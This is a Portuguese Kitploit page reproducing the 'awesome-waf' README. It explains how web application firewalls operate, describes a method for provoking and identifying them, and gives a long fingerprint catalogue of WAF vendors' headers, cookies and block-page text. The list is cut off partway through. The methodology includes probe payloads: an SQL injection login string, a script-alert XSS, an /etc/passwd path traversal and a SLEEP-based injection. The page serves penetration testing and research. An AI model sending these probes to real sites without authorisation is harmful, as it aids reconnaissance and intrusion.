Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Awesome-WAF — Tudo sobre Web Application Firewalls (WAFs) do ponto de vista da Segurança! 🔥 | Kitploit
Ferramentas/GitHubGitHub/0xinfection/awesome-waf
Bypass de WAFSegurança WebAprendizado e EducaçãoRecursos CuradosTop em Bypass de WAF nº4
GitHub0xinfection/awesome-waf

Awesome-WAF

Tudo sobre Web Application Firewalls (WAFs) do ponto de vista da Segurança! 🔥

Ver Repositório
7.6k1.2k49há 14 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Awesome WAF Awesome

Tudo sobre firewalls de aplicações web (WAFs) do ponto de vista da segurança. 🔥

Prefácio: Originalmente esta era minha própria coleção sobre WAFs. Estou a tornando open-source na esperança de que seja útil para pentesters e pesquisadores por aí. Como diz o ditado, "a comunidade apenas aprende uns com os outros."

Logotipo Principal

Uma Definição Concisa: Um firewall é um ponto de aplicação de política de segurança posicionado entre uma aplicação web e o endpoint do cliente. Esta funcionalidade pode ser implementada em software ou hardware, executando em um dispositivo appliance, ou em um servidor típico executando um sistema operacional comum. Pode ser um dispositivo independente ou integrado a outros componentes de rede. (Fonte: PCI DSS IS 6.6)

Um firewall de aplicação web fica entre um usuário e uma webapp e tem a tarefa de impedir que qualquer atividade maliciosa atinja a webapp. Um WAF filtra a parte maliciosa da requisição ou simplesmente a bloqueia.

Sinta-se à vontade para contribuir.

Conteúdo:

  • Introdução
    • Como os WAFs Funcionam
    • Modos de Operação
  • Metodologia de Teste
    • Onde Procurar
    • Técnicas de Detecção
  • Fingerprints de WAF
  • Técnicas de Evasão
    • Fuzzing/Bruteforcing
    • Regex Reversing
    • Ofuscação/Codificação
    • Bugs de Navegador
    • Spoofing de Cabeçalho HTTP
    • Abordagem com Google Dorks
  • Bypasses Conhecidos
  • Ferramentas Incríveis
    • Fingerprinting
    • Teste
    • Evasão
  • Blogs e Writeups
  • Apresentações em Vídeo
  • Apresentações de Pesquisa e Artigos
    • Artigos de Pesquisa
    • Slides de Apresentação
  • Licenciamento e Créditos

Introdução:

Como os WAFs Funcionam:

  • Usando um conjunto de regras para distinguir entre requisições normais e maliciosas.
  • Às vezes usam um modo de aprendizado para adicionar regras automaticamente através do aprendizado do comportamento do usuário.

Modos de Operação:

  • Modelo Negativo (baseado em Lista Negra) - Um modelo de lista negra usa assinaturas pré-definidas para bloquear requisições claramente maliciosas. As assinaturas de WAFs que operam em modo negativo são especificamente criadas para prevenir ataques que exploram certas vulnerabilidades de aplicações web. Firewalls de aplicação web com modelo de lista negra são uma ótima escolha para aplicações web expostas à internet pública e são altamente eficazes contra vulnerabilidades principais. Ex.: Regra para bloquear todas as entradas <script>*</script> previne ataques básicos de cross-site scripting.
  • Modelo Positivo (baseado em Lista Branca) - Um modelo de lista branca permite apenas tráfego web de acordo com critérios especificamente configurados. Por exemplo, pode ser configurado para permitir apenas requisições HTTP GET de determinados endereços IP. Este modelo pode ser muito eficaz para bloquear potenciais ataques em larga escala, mas também bloqueará muito tráfego legítimo. Firewalls com modelo de lista branca são provavelmente melhores para aplicações web em uma rede interna que são projetadas para serem usadas apenas por um grupo limitado de pessoas, como funcionários.
  • Modelo Misto/Híbrido (modelo inclusivo) - Um modelo de segurança híbrido combina tanto lista branca quanto lista negra. Dependendo de todos os tipos de especificidades de configuração, firewalls híbridos podem ser a melhor escolha tanto para aplicações web em redes internas quanto para aplicações web na internet pública. Um bom cenário pode ser quando a aplicação web está voltada para a internet pública (usar listas negras) enquanto o painel de administração precisa ser exposto apenas a um subconjunto de usuários (usar listas brancas).

Metodologia de Teste:

Onde Procurar:

  • Sempre fique atento a portas comuns que expõem um WAF, nomeadamente as portas 80, 443, 8000, 8080 e 8888. No entanto, é importante notar que um WAF pode ser facilmente implantado em qualquer porta que execute um serviço HTTP. É bom enumerar primeiro as portas do serviço HTTP e depois procurar por WAFs.
  • Alguns WAFs definem seus próprios cookies nas requisições (ex.: Citrix Netscaler, Yunsuo WAF).
  • Alguns se associam a cabeçalhos separados (ex.: Anquanbao WAF, Amazon AWS WAF).
  • Alguns frequentemente alteram cabeçalhos e misturam caracteres para confundir o atacante (ex.: Netscaler, Big-IP).
  • Alguns se expõem no cabeçalho Server (ex.: Approach, WTS WAF).
  • Alguns WAFs se expõem no conteúdo da resposta (ex.: DotDefender, Armor, Sitelock).
  • Outros WAFs respondem com códigos de resposta incomuns em requisições maliciosas (ex.: WebKnight, 360 WAF).

Técnicas de Detecção:

Para identificar WAFs, precisamos (ficticiamente) provocá-lo.

  1. Faça uma requisição GET normal de um navegador, intercepte e registre os cabeçalhos de resposta (especificamente cookies).
  2. Faça uma requisição da linha de comando (ex.: cURL) e teste o conteúdo e cabeçalhos da resposta (sem user-agent incluído).
  3. Faça requisições GET para portas abertas aleatórias e capture banners que possam expor a identidade do WAF.
  4. Em páginas de login, injete payloads comuns (facilmente detectáveis) como \" or 1 = 1 --.
  5. Injete payloads barulhentos como <script>alert()</script> em barras de pesquisa, formulários de contato e outros campos de entrada.
  6. Anexe um ../../../etc/passwd fictício a um parâmetro aleatório no final da URL.
  7. Anexe algumas palavras-chave chamativas como ' OR SLEEP(5) OR ' no final das URLs a qualquer parâmetro aleatório.
  8. Faça requisições GET com protocolos desatualizados como HTTP/0.9 (HTTP/0.9 não suporta consultas do tipo POST).
  9. Muitas vezes, o WAF varia o cabeçalho Server dependendo de diferentes tipos de interações.
  10. Técnica de Ação Drop - Envie um pacote FIN/RST bruto e artesanal para o servidor e identifique a resposta.

    Dica: Este método pode ser facilmente alcançado com ferramentas como HPing3 ou Scapy.

  11. Ataques de Canal Lateral - Examine o comportamento de temporização da requisição e conteúdo da resposta.

Fingerprints de WAF

Quer fazer fingerprint de WAFs? Vamos ver como.

NOTA: Esta seção contém técnicas manuais de detecção de WAF. Talvez você queira ir para a próxima seção.





## Técnicas de Evasão Vamos analisar alguns métodos de contornar e evadir WAFs.
Baixar ferramenta

Dica: Mais detalhes podem ser encontrados em um post de blog aqui.

WAFImpressões Digitais
360
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Retorna código de status 493 em requisições incomuns.
    • A página de bloqueio pode conter referência ao diretório wzws-waf-cgi/.
    • O código fonte da página de resposta bloqueada pode conter:
      • Referência à URL wangshan.360.cn.
      • Trecho de texto Sorry! Your access has been intercepted because your links may threaten website security.
    • Os cabeçalhos de resposta podem conter o cabeçalho X-Powered-By-360WZB.
    • Os cabeçalhos de resposta bloqueada contêm o cabeçalho único WZWS-Ray.
    • O cabeçalho Server pode conter o valor qianxin-waf.
aeSecure
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O conteúdo da resposta bloqueada contém a imagem aesecure_denied.png (ver código fonte para visualizar).
    • Os cabeçalhos de resposta contêm o valor aeSecure-code.
Airlock
  • Detectabilidade: Moderada/Difícil
  • Metodologia de Detecção:
    • Os cabeçalhos Set-Cookie podem conter:
      • Nome do campo cookie AL-SESS (case insensitive).
      • Valor AL-LB (case insensitive).
    • A página de resposta bloqueada contém:
      • Texto Server detected a syntax error in your request.
      • Trecho de texto Check your request and all parameters.
AlertLogic
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • Trecho de texto We are sorry, but the page you are looking for cannot be found.
      • Texto The page has either been removed, renamed or temporarily unavailable.
      • 404 Not Found em letras vermelhas.
Aliyundun
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • Trecho de texto Sorry, your request has been blocked as it may cause potential threats to the server's security.
      • Referência à URL do site errors.aliyun.com.
    • O código de resposta bloqueado retornado é 405.
Anquanbao
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Retorna código de resposta HTTP bloqueado 405 em requisições maliciosas.
    • O conteúdo da resposta bloqueada pode conter /aqb_cc/error/ ou hidden_intercept_time.
    • Os cabeçalhos de resposta contêm o campo de cabeçalho X-Powered-by-Anquanbao.
Anyu
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da resposta bloqueada contém Sorry! your access has been intercepted by AnYu
    • A página de resposta bloqueada contém o texto AnYu- the green channel.
    • Os cabeçalhos de resposta podem conter o cabeçalho incomum WZWS-RAY.
Approach
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da página de resposta bloqueada pode conter:
      • Cabeçalho Approach Web Application Firewall Framework.
      • Aviso Your IP address has been logged and this information could be used by authorities to track you.
      • Palavra-chave Sorry for the inconvenience!
      • Trecho de texto Approach infrastructure team.
    • O cabeçalho Server tem valor de campo definido como Approach.
Armor Defense
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da resposta bloqueada contém:
      • Texto This request has been blocked by website protection from Armor.
      • Trecho If you manage this domain please create an Armor support ticket.
ArvanCloud
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave ArvanCloud.
ASPA
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave ASPA-WAF.
    • A resposta contém o cabeçalho único ASPA-Cache-Status com conteúdo HIT ou MISS.
ASP.NET Generic
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta podem conter o valor do cabeçalho X-ASPNET-Version.
    • O conteúdo da página de resposta bloqueada pode conter:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Palavra-chave Error Code 0x00000000<.
    • O cabeçalho X-Powered-By tem valor de campo definido como ASP.NET.
Astra
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da página de resposta bloqueada pode conter:
      • Sorry, this is not allowed. em h1.
      • Trecho de texto our website protection system has detected an issue with your IP address and wont let you proceed any further.
      • Referência à URL www.getastra.com/assets/images/.
    • Os cookies de resposta têm valor de campo cz_astra_csrf_cookie nos cabeçalhos de resposta.
AWS ELB
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta podem conter:
      • Valor do campo cookie AWSALB.
      • Cabeçalho X-AMZ-ID.
      • Cabeçalho X-AMZ-REQUEST-ID.
    • A página de resposta pode conter:
      • Access Denied em sua palavra-chave.
      • Token de ID de requisição com comprimento de 20 a 25 entre a tag RequestId.
    • O campo do cabeçalho Server contém o valor awselb/2.0.
Baidu Yunjiasu
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O cabeçalho Server pode conter o valor Yunjiasu-nginx.
    • O cabeçalho Server pode conter o valor Yunjiasu.
Barikode
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da página de resposta bloqueada contém:
      • Palavra-chave BARIKODE.
      • Trecho de texto Forbidden Access em h1.
Barracuda
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cookies de resposta podem conter o valor barra_counter_session.
    • Os cabeçalhos de resposta podem conter a palavra-chave barracuda_.
  • A página de resposta contém:
    • Cabeçalho You have been blocked.
    • Texto You are unable to access this website.
Bekchy
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta bloqueada contêm Bekchy - Access Denied.
    • A página de resposta bloqueada contém referência a https://bekchy.com/report.
BinarySec
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm:
      • Campo X-BinarySec-Via.
      • Campo X-BinarySec-NoCache.
      • O cabeçalho Server contém a palavra-chave BinarySec.
BitNinja
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada pode conter:
      • Trecho de texto Security check by BitNinja.
      • your IP will be removed from BitNinja.
      • Trecho de texto Visitor anti-robot validation.
      • Texto (You will be challenged by a reCAPTCHA page).
BIG-IP ASM
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta podem conter o valor da palavra-chave BigIP ou F5.
    • Os campos do cabeçalho de resposta podem conter o cabeçalho X-WA-Info.
    • Os cabeçalhos de resposta podem ter o valor do campo X-Cnection embaralhado.
BlockDos
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O cabeçalho Server contém o valor BlockDos.net.
Bluedon IST
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém o valor do campo BDWAF.
    • A página de resposta bloqueada contém o trecho de texto Bluedon Web Application Firewall.
BulletProof Security Pro
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • div com id como trecho de texto bpsMessage.
      • Trecho de texto If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.
CDN NS Application Gateway
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém o trecho de texto CdnNsWAF Application Gateway.
Cerber (WordPress)
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • Trecho de texto We're sorry, you are not allowed to proceed.
      • Aviso Your request looks suspicious or similar to automated requests from spam posting software.
Chaitin Safeline
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém a palavra-chave event_id dentro de comentários HTML.
ChinaCache
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o campo Powered-by-ChinaCache.
Cisco ACE XML Gateway
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O cabeçalho Server tem o valor definido como ACE XML Gateway.
Cloudbric
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O conteúdo da resposta contém:
      • Cabeçalho Malicious Code Detected.
      • Trecho de texto Your request was blocked by Cloudbric.
      • Referência à URL https://cloudbric.zendesk.com.
      • Texto Cloudbric Help Center.
      • Título da página começando com Cloudbric | ERROR!.
Cloudflare
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta podem ter o valor do campo cf-ray.
    • O campo do cabeçalho Server tem o valor cloudflare.
    • Os cabeçalhos de resposta Set-Cookie têm o campo cookie __cfuid=.
    • O conteúdo da página pode ter Attention Required! ou Cloudflare Ray ID:.
    • O conteúdo da página pode conter DDoS protection by Cloudflare como texto.
    • Você pode encontrar CLOUDFLARE_ERROR_500S_BOX ao acessar URLs inválidas.
CloudfloorDNS
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O campo do cabeçalho Server tem o valor CloudfloorDNS WAF.
    • O título da página de bloqueio pode ter CloudfloorDNS - Web Application Firewall Error.
    • O conteúdo da página pode conter a URL www.cloudfloordns.com/contact como link de contato.
Cloudfront
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da resposta bloqueada contém o erro Generated by cloudfront (CloudFront) em requisições maliciosas.
Comodo cWatch
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém o valor Protected by COMODO WAF.
CrawlProtect
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cookies de resposta podem conter o nome do cookie crawlprotect.
    • O título da página de bloqueio tem a palavra-chave CrawlProtect.
    • O conteúdo da resposta bloqueada contém o valor
      This site is protected by CrawlProtect !!! em requisições maliciosas.
Deny-All
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • O conteúdo da resposta contém o valor Condition Intercepted.
    • O cabeçalho Set-Cookie contém o campo cookie sessioncookie.
Distil Web Protection
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o valor do campo X-Distil-CS em todas as requisições.
    • A página de resposta bloqueada contém:
      • Cabeçalho Pardon Our Interruption....
      • Trecho de texto You have disabled javascript in your browser.
      • Texto Something about your browser made us think that you are a bot.
DoSArrest Internet Security
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o valor do campo X-DIS-Request-ID.
    • O cabeçalho Server contém a palavra-chave DOSarrest.
DotDefender
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da resposta bloqueada contém o valor
      dotDefender Blocked Your Request.
    • Os cabeçalhos de resposta bloqueada contêm o valor do campo X-dotDefender-denied.
DynamicWeb Injection Check
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta bloqueada contêm o campo X-403-Status-By com o valor dw-inj-check.
e3Learning Security
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave e3Learning_WAF.
EdgeCast (Verizon)
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da resposta bloqueada contém o valor
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • O código de resposta bloqueado retorna 400 Bad Request em requisições maliciosas.
Eisoo Cloud
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da página de resposta bloqueada pode conter:
      • Referência a /eisoo-firewall-block.css.
      • URL www.eisoo.com.
      • Palavra-chave © (year) Eisoo Inc..
    • O cabeçalho Server tem valor de campo definido como EisooWAF-AZURE/EisooWAF.
Expression Engine
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada retorna geralmente Invalid URI.
    • O conteúdo da resposta bloqueada contém o valor Invalid GET Request em consultas GET maliciosas.
    • Consultas POST bloqueadas contêm Invalid Data no conteúdo da resposta.
F5 ASM
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • O conteúdo da resposta bloqueada contém o aviso
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm FORTIWAFSID= em requisições maliciosas.
    • A página de resposta bloqueada contém:
      • Referência ao ícone de imagem .fgd_icon.
      • Server Unavailable! como cabeçalho.
      • Server unavailable. Please visit later. como texto.
GoDaddy
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém o valor
      Access Denied - GoDaddy Website Firewall.
GreyWizard
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • Grey Wizard como título.
      • Trecho de texto Contact the website owner or Grey Wizard.
      • Trecho de texto We've detected attempted attack or non standard traffic from your IP address.
    • O cabeçalho Server contém a palavra-chave greywizard.
Huawei Cloud
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • Referência à imagem de erro account.hwclouds.com/static/error/images/404img.jpg.
      • Referência à URL www.hwclouds.com.
      • Referência ao e-mail hws_security@{site.tld} para denúncia.
HyperGuard
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • O cabeçalho Set-Cookie tem o campo cookie ODSESSION= nos cabeçalhos de resposta.
IBM DataPower
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o valor do campo X-Backside-Transport com valor OK ou FAIL.
Imperva Incapsula
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da página de resposta bloqueada pode conter:
      • Trecho de texto Powered By Incapsula.
      • Palavra-chave Incapsula incident ID.
      • Palavra-chave _Incapsula_Resource.
      • Palavra-chave subject=WAF Block Page.
    • Os cabeçalhos de requisição GET normais contêm o valor visid_incap.
    • Os cabeçalhos de resposta podem conter o nome do campo de cabeçalho X-Iinfo.
    • O cabeçalho Set-Cookie tem campos cookie incap_ses e visid_incap.
Imunify360
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave imunify360-webshield.
    • A página de resposta contém:
      • Trecho de texto Powered by Imunify360.
      • imunify360 preloader se o tipo de resposta for JSON.
    • A página de resposta bloqueada contém o texto protected by Imunify360.
IndusGuard
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O cabeçalho Server contém o valor IF_WAF.
    • O conteúdo da resposta bloqueada contém o aviso
      further investigation and remediation with a screenshot of this page.
    • Os cabeçalhos de resposta contêm um cabeçalho único X-Version.
Instart DX
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o cabeçalho único X-Instart-Request-ID.
    • Os cabeçalhos de resposta contêm o cabeçalho único X-Instart-WL.
    • Os cabeçalhos de resposta contêm o cabeçalho único X-Instart-Cache.
    • A página de resposta bloqueada contém o texto The requested URL was rejected. Please consult with your administrator.
ISA Server
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta contém:
      • Trecho de texto The ISA Server denied the specified Uniform Resource Locator (URL).
      • Trecho de texto The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.
Janusec Application Gateway
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada exibe uma imagem com o nome e logotipo JANUSEC.
    • A página de resposta bloqueada exibe Janusec Application Gateway em requisições maliciosas.
Jiasule
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém referência à URL static.jiasule.com/static/js/http_error.js.
    • O cabeçalho Set-Cookie tem campo cookie _jsluid= ou jsl_tracking nos cabeçalhos de resposta.
    • O cabeçalho Server tem as palavras-chave jiasule-WAF.
    • O conteúdo da resposta bloqueada tem a palavra-chave notice-jiasule.
KeyCDN
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave KeyCDN.
KnownSec
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada exibe a imagem ks-waf-error.png (ver código fonte para visualizar).
KONA Site Defender (Akamai)
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave AkamaiGHost.
LiteSpeed
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server tem o valor definido como LiteSpeed.
    • A página de resposta contém:
      • Texto Proudly powered by LiteSpeed Web Server.
      • Referência a http://www.litespeedtech.com/error-page
      • Access to resource on this server is denied.
Malcare
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • A página de resposta bloqueada pode conter:
      • Trecho de texto Blocked because of Malicious Activities.
      • Trecho de texto Firewall powered by MalCare.
MissionControl Application Shield
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O campo do cabeçalho Server contém o valor Mission Control Application Shield.
ModSecurity
  • Detectabilidade: Moderada/Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém:
      • Trecho de texto This error was generated by Mod_Security.
      • Trecho de texto One or more things in your request were suspicious.
      • Trecho de texto rules of the mod_security module.
      • Trecho de texto mod_security rules triggered.
      • Referência ao diretório /modsecurity-errorpage/.
    • O cabeçalho Server pode conter as palavras-chave Mod_Security ou NYOB.
    • Às vezes, o código de resposta a um ataque é 403 enquanto a frase de resposta é ModSecurity Action.
ModSecurity CRS
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • Ocorre página de bloqueio ao adicionar um cabeçalho de requisição separado X-Scanner quando definido em um nível de paranoia específico.
NAXSI
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém This Request Has Been Blocked By NAXSI.
    • Os cabeçalhos de resposta contêm o campo incomum X-Data-Origin com o valor da palavra-chave naxsi/waf.
    • O cabeçalho Server contém o valor da palavra-chave naxsi/waf.
    • A página de resposta bloqueada pode conter o código de erro NAXSI blocked information.
Nemesida
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém Suspicious activity detected. Access to the site is blocked..
    • Contém referência ao e-mail nwaf@{site.tld}
Netcontinuum
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cookies de sessão contêm o nome do campo cookie NCI__SessionId=.
NetScaler AppFirewall
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta podem conter
      • Nome do campo do cabeçalho Connection: embaralhado para nnCoection:
      • Nome do campo cookie ns_af=.
      • Nome do campo citrix_ns_id.
      • Palavra-chave NSC.
      • Valor do campo NS-CACHE.
NevisProxy
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cookies do cabeçalho de resposta contêm a palavra-chave Navajo.
NewDefend
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta contém:
      • Referência à URL http://www.newdefend.com/feedback/misinformation/.
      • Referência ao diretório /nd_block/.
    • O cabeçalho Server contém a palavra-chave NewDefend.
Nexusguard
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada tem referência à URL speresources.nexusguard.com/wafpage/index.html.
NinjaFirewall
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O título da página de resposta contém NinjaFirewall: 403 Forbidden.
    • A página de resposta contém:
      • Trecho de texto For security reasons, it was blocked and logged.
      • Palavra-chave NinjaFirewall no título.
    • Retorna uma resposta 403 Forbidden em requisições maliciosas.
NSFocus
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave NSFocus.
NullDDoS
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave NullDDoS System.
onMessage Shield
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm o campo do cabeçalho X-Engine com o valor onMessage Shield.
    • A página de resposta bloqueada contém:
      • Palavra-chave Blackbaud K-12 conducts routine maintenance.
      • This site is protected by an enhanced security system.
      • Referência à URL https://status.blackbaud.com.
      • Referência à URL https://maintenance.blackbaud.com.
OpenResty Lua WAF
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave openresty/{version}.
    • A página de resposta bloqueada contém o texto openresty/{version}.
    • O código de resposta bloqueado retornado é 406 Not Acceptable.
Palo Alto
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém Virus/Spyware Download Blocked.
    • A página de resposta pode conter o trecho de texto Palo Alto Next Generation Security Platform.
PentaWAF
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave PentaWAF/{version}.
    • A página de resposta bloqueada contém o texto PentaWAF/{version}.
PerimeterX
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém referência à URL
      https://www.perimeterx.com/whywasiblocked.
pkSecurityModule IDS
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • O conteúdo da resposta pode conter
      • pkSecurityModule: Security.Alert.
      • Trecho de texto A safety critical request was discovered and blocked.
Positive Technologies Application Firewall
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada contém Forbidden em h1 seguido por:
    • Request ID: no formato yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta podem conter
      • Cabeçalho Via com conteúdo powercdn.com.
      • Cabeçalho X-Cache com conteúdo powercdn.com.
      • Cabeçalho X-CDN com conteúdo PowerCDN.
Profense
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos Set-Cookie contêm o nome do campo cookie PLBSID=.
    • O cabeçalho Server contém a palavra-chave Profense.
Proventia (IBM)
  • Detectabilidade: Difícil
  • Metodologia de Detecção:
    • A página de resposta bloqueada pode conter o trecho de texto request does not match Proventia rules.
Puhui
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O cabeçalho Server contém a palavra-chave PuhuiWAF.
Qiniu CDN
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • O conteúdo da resposta pode conter
      • Os cabeçalhos de resposta contêm o cabeçalho incomum X-Qiniu-CDN com valor definido como 0 ou 1.
Radware Appwall
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • A página de resposta contém o seguinte trecho de texto:
      Unauthorized Activity Has Been Detected. e Case Number
    • A página de resposta bloqueada tem referência ao e-mail radwarealerting@{site.tld}.
    • A página de resposta bloqueada tem título definido como Unauthorized Request Blocked.
    • Os cabeçalhos de resposta podem conter o nome do campo de cabeçalho X-SL-CompState.
Reblaze
  • Detectabilidade: Moderada
  • Metodologia de Detecção:
    • Os cookies nos cabeçalhos de resposta contêm o nome do campo de cabeçalho rbzid=.
    • O valor do campo Server pode conter o trecho de texto Reblaze Secure Web Gateway.
    • A página de resposta contém:
      • Access Denied (403) em negrito.
      • Texto Current session has been terminated.
      • For further information, do not hesitate to contact us.
Request Validation Mode
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Um firewall encontrado especificamente em sites ASP.NET e nenhum outro.
    • A página de resposta contém um dos seguintes trechos de texto:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • O código de resposta bloqueado retornado é sempre 500 Internal Error.
RSFirewall
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • A página de resposta contém:
      • Palavra-chave COM_RSFIREWALL_403_FORBIDDEN.
      • Palavra-chave COM_RSFIREWALL_EVENT.
Sabre
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Retorna código de status 500 Internal Error em requisições maliciosas.
    • O conteúdo da resposta tem:
      • E-mail de contato [email protected].
      • Aviso em negrito Your request has been blocked.
      • Trecho de texto clicking the above email link will automatically add some important details to the email for us to investigate the problem.
Safe3
  • Detectabilidade: Fácil
  • Metodologia de Detecção:
    • Os cabeçalhos de resposta contêm:
